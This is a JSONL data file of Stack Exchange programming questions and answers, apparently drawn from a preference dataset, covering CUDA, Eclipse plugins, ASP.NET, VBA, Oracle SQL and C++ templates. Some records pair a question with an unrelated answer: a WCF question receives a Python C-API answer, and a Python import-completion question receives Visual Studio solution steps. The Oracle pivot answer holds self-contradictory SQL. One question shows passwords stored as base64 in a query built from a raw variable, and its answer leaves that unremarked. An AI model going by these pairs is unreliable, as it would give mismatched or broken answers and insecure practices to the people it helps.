{"id": "hf_e591735ee190", "question": "<p>I have a neural network written in Erlang, and I just bought a GeForce GTX 260 card with a 240 core GPU on it. Is it trivial to use <a href=\"http://en.wikipedia.org/wiki/CUDA\" rel=\"noreferrer\">CUDA</a> as glue to run this on the graphics card?</p>\n", "question_body": "", "answer": "No, using CUDA is not a trivial matter.\nThe CUDA programming model basically uses C (with some additions) but in order to get the most of the GPGPU's capabilities you would have to ensure that your algorithms follow the CUDA guidelines. (see\nNVidia CUDA Programming Guide\n)\nFor example in order to get the best memory performance (somewhere around 70Gbps) you need to access memory in streaming mode with coalescing, also branches are very costly on the GPUs so you should avoid conditionals as much as possible. Check out the guide and samples provided with the SDK, they'll provide an excellent starting point", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.966597"}
{"id": "hf_b6172aa36f5c", "question": "<p>Is it possible to create Eclipse plugins that auto-discover eachother?</p>\n\n<p>I am developing a set of plugins that need to operate in two primary situations:</p>\n\n<ul>\n<li>individually</li>\n<li>in concert with each other.</li>\n</ul>\n\n<p>When run individually, the plugins should \"just work\" but when in concert, they will be sharing some of the same model content, and one of the plugins should present the user with a list of other plugins to share content with. eg:</p>\n\n<blockquote>\n  <p>Foo Plugin detected the following\n  plugins it can share ontologies with:</p>\n  \n  <p>[ ] Bar plugin</p>\n  \n  <p>[ ] Baz plugin   </p>\n  \n  <p>[ ] Don't share</p>\n</blockquote>\n\n<p>Does Eclipse offer any internal publication / detection methods that would facilitate this sort of auto-detection of other plugins?</p>\n", "question_body": "", "answer": "The answer should be through\nDeclarative Service\n, which combines the advantages of both eclipse xml extensions and osgi POJO services. Something that is implicitly dynamic like osgi services, but loaded “on demand” like eclipse extensions.\nIntroduced in 2006 for eclipse3.3, you will find those concepts illustrated in\nthis presentation\n.\nDeclarative Services gives the option to define reference to other services. It is also possible to specify the cardinality of the reference. The cardinality is specified using two numbers, the first one, 0 or 1, indicates the optionality, the second one, 1 or n, indicates the multiplicity.\nIn practice, those\nDS (Declarative Services)\nare not easy to use, as you have to access the BundleContext, meaning keeping track of the BundleActivator,\nwhich is not always easy\n...\nIf what you need is to define some sort of Service Oriented Component Model,\nthis presentation\nshould provide you with the different alternatives existing today, as well as detailing those \"Declarative Services\"\nTo publish what rcreswick has found in relation with DS:\nGetting Started with OSGi:\nIntroducing Declarative Services\nGetting Started with OSGi:\nDeclarative Services and Dependencies", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:16.989870"}
{"id": "hf_b5f5f16ced2d", "question": "<p>I am trying to create a new instance of Excel using VBA using:</p>\n\n<pre class=\"lang-vb prettyprint-override\"><code>Set XlApp = New Excel.Application\n</code></pre>\n\n<p>The problem is that this new instance of Excel doesn't load all the addins that load when I open Excel normally...Is there anything in the Excel Application object for loading in all the user-specified addins?</p>\n\n<p>I'm not trying to load a specific add-in, but rather make the new Excel application behave as though the user opened it themself, so I'm really looking for a list of all the user-selected add-ins that usually load when opening Excel.</p>\n", "question_body": "", "answer": "Using\n```\nCreateObject(\"Excel.Application\")\n```\nwould have the same result as using\n```\nNew Excel.Application\n```\n, unfortunately.\nYou will have to load the Addins that you need individually by file path & name using the\n```\nApplication.Addins.Add(string fileName)\n```\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.037882"}
{"id": "hf_b24ecbba253f", "question": "<p>I develop a number of desktop Java applications using Swing, and while Swing is quite powerful (once you get the hang of it), there are still a lot of cases where I wish some advanced component was available right out of the box.</p>\n\n<p>For example, I'd really like to see easy-to-use components (without writing them myself, which I could do given enough time) like:</p>\n\n<ul>\n<li>Multi-line label</li>\n<li>Windows File Explorer-like Icons or Thumbnails view</li>\n<li>Drop-down button (like Firefox's old Back button)</li>\n<li>5-star rating widget</li>\n<li>Combo box with automatic history (like the text field on Google)</li>\n<li>An Outlook-style accordion-style bar</li>\n<li>and so on</li>\n</ul>\n\n<p>I know of a couple of sources of free Swing components, like <a href=\"http://swinglabs.org\" rel=\"nofollow noreferrer\">SwingLabs</a>, home of JXTable, JXDatePicker, and a few others.</p>\n\n<p><strong>Where do you go for Swing components beyond those included with Java itself?</strong></p>\n", "question_body": "", "answer": "The following are worth a look:\nswingX\nGlazed lists\nSubstance look'n'feel\nFlamingo components\nKen Orr's Mac Widgets\nJide's open source components", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.061441"}
{"id": "hf_292cf1fda37a", "question": "<p>Is it currently possible to translate C# code into an Abstract Syntax Tree?</p>\n\n<p>Edit: some clarification; I don't necessarily expect the compiler to generate the AST for me - a parser would be fine, although I'd like to use something \"official.\" Lambda expressions are unfortunately not going to be sufficient given they don't allow me to use statement bodies, which is what I'm looking for.</p>\n", "question_body": "", "answer": "Check out .NET\nCodeDom\nsupport.  There is an old article on code project for a\nC# CodeDOM parser\n, but it won't support the new language features.\nThere is also supposed to be support in #develop for generating a CodeDom tree from C# source code according to this\nposting\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.144814"}
{"id": "hf_5076a4763cfe", "question": "<p>I'm having trouble dynamically adding controls inside an update panel with partial postbacks. I've read many articles on dynamic controls and I understand how to add and maintain them with postbacks but most of that information doesn't apply and won't work for partial postbacks. I can't find any useful information about adding and maintaining them with UpdatePanels. I'd like to do this without creating a web service if it's possible. Does anyone have any ideas or references to some helpful information?</p>\n", "question_body": "", "answer": "This is, I think, one of the common pitfalls for asp.net programmers but isn't actually that hard to get it right when you know what is going on (always remember your viewstate!).\nthe following piece of code explains how things can be done. It's a simple page where a user can click on a menu which will trigger an action that will add a user control to the page inside the updatepanel.\n(This code is borrowed\nfrom here\n, and has lots more of information concerning this topic)\n```\n```\n<%@ Page Language=\"C#\" AutoEventWireup=\"true\" CodeFile=\"SampleMenu1.aspx.cs\" Inherits=\"SampleMenuPage1\" %>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" >\n<head runat=\"server\">\n    <title>Sample Menu</title>\n</head>\n<body>\n    <form id=\"form1\" runat=\"server\">\n        <asp:Menu ID=\"Menu1\" runat=\"server\" OnMenuItemClick=\"Menu1_MenuItemClick\">\n            <Items>\n                <asp:MenuItem Text=\"File\">\n                    <asp:MenuItem Text=\"Load Control1\"></asp:MenuItem>\n                    <asp:MenuItem Text=\"Load Control2\"></asp:MenuItem>\n                    <asp:MenuItem Text=\"Load Control3\"></asp:MenuItem>\n                </asp:MenuItem>\n            </Items>\n        </asp:Menu>\n        <br />\n        <br />\n        <asp:ScriptManager ID=\"ScriptManager1\" runat=\"server\"></asp:ScriptManager>\n        <asp:UpdatePanel ID=\"UpdatePanel1\" runat=\"server\" UpdateMode=\"Conditional\">\n            <ContentTemplate>\n                <asp:PlaceHolder ID=\"PlaceHolder1\" runat=\"server\"></asp:PlaceHolder>\n            </ContentTemplate>\n            <Triggers>\n                <asp:AsyncPostBackTrigger ControlID=\"Menu1\" />\n            </Triggers>\n        </asp:UpdatePanel>\n    </form>\n</body>\n</html>\n```\n```\nand\n```\n```\nusing System;\nusing System.Web;\nusing System.Web.UI;\nusing System.Web.UI.WebControls;\n\npublic partial class PlainSampleMenuPage : System.Web.UI.Page\n{\n    private const string BASE_PATH = \"~/DynamicControlLoading/\";\n\n    private string LastLoadedControl\n    {\n        get\n        {\n            return ViewState[\"LastLoaded\"] as string;\n        }\n        set\n        {\n            ViewState[\"LastLoaded\"] = value;\n        }\n    }\n\n    private void LoadUserControl()\n    {\n        string controlPath = LastLoadedControl;\n\n        if (!string.IsNullOrEmpty(controlPath))\n        {\n            PlaceHolder1.Controls.Clear();\n            UserControl uc = (UserControl)LoadControl(controlPath);\n            PlaceHolder1.Controls.Add(uc);\n        }\n    }\n\n    protected void Page_Load(object sender, EventArgs e)\n    {\n        LoadUserControl();\n    }\n\n    protected void Menu1_MenuItemClick(object sender, MenuEventArgs e)\n    {\n        MenuItem menu = e.Item;\n\n        string controlPath = string.Empty;\n\n        switch (menu.Text)\n        {\n            case \"Load Control2\":\n                controlPath = BASE_PATH + \"SampleControl2.ascx\";\n                break;\n            case \"Load Control3\":\n                controlPath = BASE_PATH + \"SampleControl3.ascx\";\n                break;\n            default:\n                controlPath = BASE_PATH + \"SampleControl1.ascx\";\n                break;\n        }\n\n        LastLoadedControl = controlPath;\n        LoadUserControl();\n    }\n}\n```\n```\nfor the code behind.\nThat's basically it. You can clearly see that the viewstate is being kept with\nLastLoadedControl\nwhile the controls themselves are dynamically added to the page (inside the updatePanel (actually inside the placeHolder inside the updatePanel) when the user clicks on a menu item, which will send an asynchronous postback to the server.\nMore information can also be found here:\nhttp://aspnet.4guysfromrolla.com/articles/081402-1.aspx\nhttp://aspnet.4guysfromrolla.com/articles/082102-1.aspx\nand of course on\nthe website that holds the example code\nI used here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.168634"}
{"id": "hf_cad334e4adeb", "question": "<p>I know how to write trace statements that I can view in a webforms environment, but how do I do this in a windows forms app?</p>\n\n<p>I am inside of a static method, and I want to display the sql query that it is generating.</p>\n\n<p>I don't have access to messagebox.show, what are my options?</p>\n", "question_body": "", "answer": "You could use a global logging object:\n```\n```\nenum LogLevel\n{\n    Info,\n    Warning,\n    Error\n}\n\ndelegate void OnLog (string msg, LogLevel level);\n\ninterface ILogger\n{\n    void Log(string msg, LogLevel level);\n    event OnLog;\n}\n```\n```\nThen extend ILogger with a class that you acquire using a public static method in the Program class.\nAnd in your main form, attach yourself to the OnLog event and use it to print messages on the for itself. Then all you have to do is call the Log method in your static method with the SQL query.\n:)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.217398"}
{"id": "hf_6a7244a43223", "question": "<p>Is there a maximum length when using window.returnValue (variant) in a modal?  </p>\n\n<p>I am calling a modal window using showModalDialog() and returning a comma delimited string.  After selecting a group of users, I am putting them into a stringbuilder to display in a literal.</p>\n\n<pre><code>Dim strReturn As New StringBuilder\nstrReturn.Append(\"&lt;script type=\"\"text/javascript\"\"&gt;window.returnValue='\")\nDim strUsers As New StringBuilder\nFor Each dtRow As DataRow In GetSelectedUserTable.Rows\n    If strUsers.ToString.Length &gt; 0 Then\n        strUsers.Append(\",\")\n    End If\n    strUsers.Append(dtRow(\"UserID\"))\nNext\nstrReturn.Append(strUsers.ToString)\nstrReturn.Append(\"';window.close();&lt;/script&gt;\")\nlitReturnJavascript.Text = strReturn.ToString\n</code></pre>\n\n<p>So would there be a limit on how many characters can be added to the window.returnValue?</p>\n", "question_body": "", "answer": "First, in what browser are you having problems?\n```\nwindow.returnValue\n```\nisn't even supported in Firefox, maybe not even other browsers.\nSecond, have you looked the value of\n```\nstrUsers\n```\nafter building it to make sure there are no single or double quotes in that string?\nI would guess that the maximum size/length of that property would be determined more by your system's memory than anything else.\nEDIT: Maybe you should look at using\n```\nwindow.open()\n```\nto open a new window and\n```\nwindow.opener\n```\nto set the value on the parent form instead - it is supported by more browsers. Just a suggestion...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.268259"}
{"id": "hf_6a59407fc57d", "question": "<p>I'm working on trying to generate a report from a couple of database tables. The simplified version looks like this</p>\n\n<pre><code>Campaign\n----------\nCampaignID\n\nSource\n-----------------------\nSource_ID | Campaign_ID\n\nContent\n---------------------------------------------------------\nContent_ID | Campaign_ID | Content_Row_ID | Content_Value\n</code></pre>\n\n<p>The report needs to read like this:</p>\n\n<pre><code>CampaignID - SourceID - ContentRowID(Value(A)) - ContentRowID(Value(B))\n</code></pre>\n\n<p>Where ContentRowID(Value(A)) means \"Find a row the has a given CampaignID, and a ContentRowId of \"A\" and then get the ContentValue for that row\"</p>\n\n<p>Essentially, I have to \"pivot\" (I think that's the correct term) the rows into columns...</p>\n\n<p>It's an Oracle 10g database...</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "This is my first stab at it. Refinement coming once I know more about the contents of the Content table.\nFirst, you need a temporary table:\n```\n```\nCREATE TABLE pivot (count integer);\nINSERT INTO pivot VALUES (1);\nINSERT INTO pivot VALUES (2);\n```\n```\nNow we're ready to query.\n```\n```\nSELECT campaignid, sourceid, a.contentvalue, b.contentvalue\nFROM content a, content b, pivot, source\nWHERE source.campaignid = content.campaignid\nAND pivot = 1 AND a.contentrowid = 'A'\nAND pivot = 2 AND b.contentrowid = 'B'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.303921"}
{"id": "hf_ab40a71ff2e1", "question": "<p>How can I bring a console application window to front in C# (especially when running the Visual Studio debugger)?</p>\n", "question_body": "", "answer": "It's hacky, it's horrible, but it works for me (thanks,\npinvoke.net\n!):\n```\n```\nusing System;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing System.Threading;\n\npublic class Test \n{\n\n    [DllImport(\"user32.dll\")]\n    [return: MarshalAs(UnmanagedType.Bool)]\n    static extern bool SetForegroundWindow(IntPtr hWnd);\n\n    [DllImport(\"user32.dll\", EntryPoint=\"FindWindow\", SetLastError = true)]\n    static extern IntPtr FindWindowByCaption(IntPtr zeroOnly, string lpWindowName);\n\n    public static void Main()\n    {\n        string originalTitle = Console.Title;\n        string uniqueTitle = Guid.NewGuid().ToString();\n        Console.Title = uniqueTitle;\n        Thread.Sleep(50);\n        IntPtr handle = FindWindowByCaption(IntPtr.Zero, uniqueTitle);\n\n        if (handle == IntPtr.Zero)\n        {\n            Console.WriteLine(\"Oops, cant find main window.\");\n            return;\n        }\n        Console.Title = originalTitle;\n\n        while (true)\n        {\n            Thread.Sleep(3000);\n            Console.WriteLine(SetForegroundWindow(handle));\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.328043"}
{"id": "hf_2d15ad5a0de0", "question": "<p>I get the following warning when using <code>java.net.URLEncoder.encode</code>:</p>\n\n<pre>warning: [deprecation] encode(java.lang.String)\n         in java.net.URLEncoder has been deprecated</pre>\n\n<p>What should I be using instead?</p>\n", "question_body": "", "answer": "Use the other\n```\nencode\n```\nmethod in\nURLEncoder\n:\n```\n```\nURLEncoder.encode(String, String)\n```\n```\nThe first parameter is the text to encode; the second is the name of the character encoding to use (e.g.,\n```\nUTF-8\n```\n). For example:\n```\n```\nSystem.out.println(\n  URLEncoder.encode(\n    \"urlParameterString\",\n    java.nio.charset.StandardCharsets.UTF_8.toString()\n  )\n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.379978"}
{"id": "hf_e77ad4805771", "question": "<p>What are the main reasons personal projects (software apps etc) never get to the level of competing with your salary?</p>\n\n<p>To me one big problem is \"on-the-fly\" feature expansion, with this problem, the end only gets further and further away!</p>\n", "question_body": "", "answer": "For me, it's simple: I work 8 hours a day already. I spend a few more hours a day keeping current. I have\na girlfriend,\nsome local family and a decent circle of friends. I have (gasp) non-computer-related interests and hobbies. In other words, I have a life.\nSo ...\nTime.\nTime is not on my side. Would that it was ... My blog might be a bit more current if there were just two more hours in every day. :)\n(Originally posted by\nJohn Rudy\n.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.403891"}
{"id": "hf_66f84006b3ef", "question": "<p>Is it possible to pass a App setting \"string\" in the web.config to a Common C# class?</p>\n", "question_body": "", "answer": "In any class you can use\n```\nConfigurationManager.AppSettings[\"KeyToSetting\"]\n```\nto access any value in the  element of web.config (or app.config)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.426984"}
{"id": "hf_88db7c84303b", "question": "<p>How would I go about implementing dynamic/docking splitter panes in a vb.net app similar to visual studio?</p>\n", "question_body": "", "answer": "Not easily is the short answer.\nA high level idea would be to define some regions using divs or a table and using your js framework of choice make these elements resizeable.   that gets you the splitter aspect.\nThe docking will have to use absoluting positioned elements that you can drag and drop and if you are currently over a docking element, reposition the element to be docked to inside the docking element and change it's position back to normal.  When you want to drag it out you will change it's positioning back to absolute\nAlso, this is not easy to do and will take a long time and still probably not work correctly.  Sorry to sound pessimistic though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.450357"}
{"id": "hf_561eecd93783", "question": "<p>I'm writing a sample console service host and I want to plug into WCF stack to be able to print a message to console when new message arrives, even if it won't get processed by the service at the moment (because service is working on previous calls).\nThis is based on my assumption that messages arriving get queued by the WCF, is that correct?</p>\n\n<p>Additionally, I'm using netTcpBinding if this is important. </p>\n", "question_body": "", "answer": "You don't want to decode the string into a Unicode representation, you just want to treat it as an array of bytes, right?\nJust use\n```\nPyString_FromString\n```\n:\n```\n```\nchar *cstring;\nPyObject *pystring = PyString_FromString(cstring);\n```\n```\nThat's all.  Now you have a Python\n```\nstr()\n```\nobject.  See docs here:\nhttps://docs.python.org/2/c-api/string.html\nI'm a little bit confused about how to specify \"str\" or \"unicode.\"  They are quite different if you have non-ASCII characters.  If you want to decode a C string\nand\nyou know exactly what character set it's in, then yes,\n```\nPyString_DecodeString\n```\nis a good place to start.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.580977"}
{"id": "hf_a8fda0b2bced", "question": "<p>How many can relate do this?</p>\n\n<blockquote>\n  <h1>Server Error in / Application</h1>\n  \n  <hr>\n  \n  <h2><em>Object reference not set to an object</em></h2>\n  \n  <p><strong>Description:</strong> Object reference not set to an object.</p>\n  \n  <p><strong>Exception Details:</strong> <code>System.NullReferenceException</code>: Object reference not set to an object.</p>\n  \n  <p><strong>Source Error:</strong></p>\n\n<pre><code>Line 56:    posts.Add(post);\n</code></pre>\n</blockquote>\n\n<p>On a more serious note, what are the first things you look for when you see the\nyellow screen of death? Half the time the debug trace isn't actually telling you what the problem is (understandable I guess).</p>\n\n<p>I must admit, I still use <code>Response.Write</code> more than I should.  I just get lazy going through the debugger.  What techniques do you use to debug the problem?</p>\n", "question_body": "", "answer": "If I'm unable to identify/resolve the issue using the error message that the page presents to me, I will typically try to use the Windows Event Viewer to help me identify what is causing the issue.\nFor example, SharePoint errors are sometimes far less than descriptive.  So, I'll combine what I'm seeing on the Y.S.O.D. with error messages from the Event Viewer to help me narrow down the cause.\nI will do my best to ask a co-worker or other associate that I think might have some experience that might help.  If I'm still unable to identify the cause, I will resort to Google armed with all the information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.629169"}
{"id": "hf_669ebbe4f88a", "question": "<p>I am using an ASP page where I have to read a CSV file and insert it into DB table \"Employee\". I am creating an object of TestReader. How can I write a loop to execute up to the number of rows/records of the CSV file which is being read?</p>\n", "question_body": "", "answer": "Do not try to parse the file yourself, you'll just give yourself a headache.  There's quite a bit more to it than splitting on newline and commas.\nYou can use OLEDB to open up the file in a recordset and read it just as you would a db table.  Something like this:\n```\n```\nDim strConn, conn, rs\n\nstrConn = \"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\" & _\nServer.MapPath(\"path to folder\") & \";Extended Properties='text;HDR=Yes;FMT-Delimited';\"\n\nSet conn = Server.CreateObject(\"ADODB.Connection\")\nconn.Open strConn\n\nSet rs = Server.CreateObject(\"ADODB.recordset\")\nrs.open \"SELECT * FROM myfile.csv\", conn\n\nwhile not rs.eof\n    ...\n    rs.movenext\nwend\n```\n```\nMy vbscript is rusty, so verify the syntax.\nedit:\nharpo's comment brings up a good point about field definitions.  Defining a schema.ini file allows you to define the number and datatypes of the expected fields.  See:  You can handle this by defining a schema.ini file. see:\nhttp://msdn.microsoft.com/en-us/library/ms709353.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.668642"}
{"id": "hf_04d145c213e8", "question": "<p>I'm trying to use jcarousel to build a container with multiple rows, I've tried a few things but have had no luck. Can anyone make any suggestions on how to create it?</p>\n", "question_body": "", "answer": "We have had to make a similar modifiaction.  We do this by extending the default options, to include a rows value, and the width of each item (we call them modules) then divide the width by the number of rows.\nCode added to jCarousel function...\nAdd to default options:\n```\n```\nmoduleWidth: null,\nrows:null,\n```\n```\nThen set when creating jCarousel:\n```\n```\n$('.columns2.rows2 .mycarousel').jcarousel( {\n        scroll: 1,\n        moduleWidth: 290,\n        rows:2,\n        itemLoadCallback: tonyTest,\n        animation: 'slow'\n    });\n```\n```\nThe find and edit the lines in:\n```\n```\n$.jcarousel = function(e, o) { \n\nif (li.size() > 0) {\n...\nmoduleCount = li.size();\nwh = this.options.moduleWidth * Math.ceil( moduleCount / this.options.rows );\nwh = wh + this.options.moduleWidth;\n\nthis.list.css(this.wh, wh + 'px');\n\n// Only set if not explicitly passed as option\nif (!o || o.size === undefined)\n   this.options.size = Math.ceil( li.size() / this.options.rows );\n```\n```\nHope this helps,\nTony Dillon", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.718649"}
{"id": "hf_4197b29f2fb7", "question": "<p>I'm doing something like the following:</p>\n\n<pre><code>SELECT * FROM table WHERE user='$user';\n$myrow = fetchRow() // previously I inserted a pass to the db using base64_encode ex: WRM2gt3R=\n\n$somepass = base64_encode($_POST['password']);\n\nif($myrow[1] != $somepass) echo 'error';\nelse echo 'welcome';\n</code></pre>\n\n<p>Im always getting error, I even echo $somepass and $myrow[1] they are the same, but still error. What Am I doing wrong? Thanks</p>\n", "question_body": "", "answer": "Try using\n```\nvar_dump\n```\ninstead of echo - maybe one of them has a space or newline at the start/end.\nEdit:\nYou must be storing it as CHAR(40):\n```\nA fixed-length string that is always right-padded with spaces to the specified length when stored\n```\nUse VARCHAR or\n```\ntrim()\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.743259"}
{"id": "hf_7c05ab10349c", "question": "<p>We're looking at upgrading from Visual Studio 2005 to Visual Studio 2008. I discovered the following disturbing comment:</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/6sehtctf.aspx\" rel=\"noreferrer\">http://msdn.microsoft.com/en-us/library/6sehtctf.aspx</a></p>\n\n<p>\"Beginning with Visual C++ 2008, Visual C++ does not support targeting Windows 95, Windows 98, Windows ME, or Windows NT.\"</p>\n\n<p>Does this mean that if we rebuild our products with visual C++ 2008, they will stop working on Windows 98 machines? It sounds like it, but I have trouble believing they'd make that big a change.</p>\n\n<p>Thanks for your help.</p>\n", "question_body": "", "answer": "according to the following link, windows 98 is not supported by .NET 3.5 so I would imagine that is what they mean. You can still do .NET 2.0 and lower development, but if you use the 3.5 libraries, Windows 98 is not supported.\n.NET 3.5 information", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.791863"}
{"id": "hf_4bce7021a7af", "question": "<p>For example:</p>\n\n<pre><code>from datetime import &lt;c-x&gt;&lt;c-o&gt;{list of modules inside datetime package}\n</code></pre>\n", "question_body": "", "answer": "the following steps should work.\nmake a blank solution, nothing in it.\nMove the solution to where you want the web project to live.\nOpen the solution.\nCreate the web project in the desired area.\nI often do this sort of moving around so that projects will sit nicely in svn.  Don't forget to svn:ignore the *.suo files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.828277"}
{"id": "hf_50adfb3b4435", "question": "<p>I've seen some examples of C++ using template template parameters (that is templates which take templates as parameters) to do policy-based class design. What other uses does this technique have?</p>\n", "question_body": "", "answer": "I think you need to use template template syntax to pass a parameter whose type is a template dependent on another template like this:\n```\n```\ntemplate <template<class> class H, class S>\nvoid f(const H<S> &value) {\n}\n```\n```\nHere,\n```\nH\n```\nis a template, but I wanted this function to deal with all specializations of\n```\nH\n```\n.\nNOTE\n: I've been programming c++ for many years and have only needed this once. I find that it is a rarely needed feature (of course handy when you need it!).\nI've been trying to think of good examples, and to be honest, most of the time this isn't necessary, but let's contrive an example. Let's pretend that\n```\nstd::vector\n```\ndoesn't\nhave a\n```\ntypedef value_type\n```\n.\nSo how would you write a function which can create variables of the right type for the vectors elements? This would work.\n```\n```\ntemplate <template<class, class> class V, class T, class A>\nvoid f(V<T, A> &v) {\n    // This can be \"typename V<T, A>::value_type\",\n    // but we are pretending we don't have it\n\n    T temp = v.back();\n    v.pop_back();\n    // Do some work on temp\n\n    std::cout << temp << std::endl;\n}\n```\n```\nNOTE\n:\n```\nstd::vector\n```\nhas two template parameters, type, and allocator, so we had to accept both of them. Fortunately, because of type deduction, we won't need to write out the exact type explicitly.\nwhich you can use like this:\n```\n```\nf<std::vector, int>(v); // v is of type std::vector<int> using any allocator\n```\n```\nor better yet, we can just use:\n```\n```\nf(v); // everything is deduced, f can deal with a vector of any type!\n```\n```\nUPDATE\n: Even this contrived example, while illustrative, is no longer an amazing example due to c++11 introducing\n```\nauto\n```\n. Now the same function can be written as:\n```\n```\ntemplate <class Cont>\nvoid f(Cont &v) {\n\n    auto temp = v.back();\n    v.pop_back();\n    // Do some work on temp\n\n    std::cout << temp << std::endl;\n}\n```\n```\nwhich is how I'd prefer to write this type of code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:17.876996"}
